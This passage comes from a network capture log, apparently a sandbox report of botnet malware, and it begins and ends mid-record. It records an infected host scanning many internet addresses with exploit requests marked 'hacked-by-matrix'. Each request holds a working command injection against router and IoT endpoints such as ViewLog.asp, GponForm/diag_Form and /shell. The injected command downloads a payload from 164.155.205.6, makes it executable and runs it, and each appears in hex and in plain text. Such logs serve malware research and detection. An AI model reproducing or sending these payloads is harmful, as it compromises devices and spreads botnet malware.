remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:38.254690886 CET	1014	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 02 Mar 2024 11:38:38 GMT Server: Apache/2.4.29 (Ubuntu) Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 245 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:38 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1638	192.168.2.23	50054	68.196.84.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.073153019 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:38.172821999 CET	308	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1639	192.168.2.23	43626	213.221.162.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.325423956 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.158709049 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.322321892 CET	200	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html Date: Sat, 02 Mar 2024 11:38:38 GMT Location: https://127.0.0.1/cgi-bin/ViewLog.asp Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1640	192.168.2.23	56806	169.45.99.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.325512886 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:42.454170942 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:42.665904999 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:38:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1641	192.168.2.23	47884	86.123.233.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.399755001 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.478599072 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.680872917 CET	381	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 13:41:11 GMT Server: web Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1642	192.168.2.23	53708	23.199.62.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.491591930 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:38.579840899 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Sat, 02 Mar 2024 11:38:38 GMT Date: Sat, 02 Mar 2024 11:38:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 65 37 66 63 30 31 37 26 23 34 36 3b 31 37 30 39 33 37 39 35 31 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.e7fc017.1709379518.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1643	192.168.2.23	34974	35.209.44.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.506170988 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:38.861793995 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:38.976739883 CET	555	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:38 GMT Server: Apache/2.4.56 (Debian) Content-Length: 361 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6d 69 6f 6d 61 72 6b 65 74 70 6c 61 63 65 77 6f 72 64 70 72 65 73 73 2e 75 73 2d 63 65 6e 74 72 61 6c 31 2d 61 2e 63 2e 63 6f 62 61 6c 74 2d 6d 61 6e 74 69 73 2d 32 39 30 32 31 35 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at miomarketplacewordpress.us-central1-a.c.cobalt-mantis-290215.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1644	192.168.2.23	34418	82.202.235.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:38.647690058 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.928412914 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:40.140223980 CET	838	IN	HTTP/1.1 403 Forbidden Date: Sat, 02 Mar 2024 11:38:40 GMT Server: Apache/2.4.6 Content-Length: 221 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 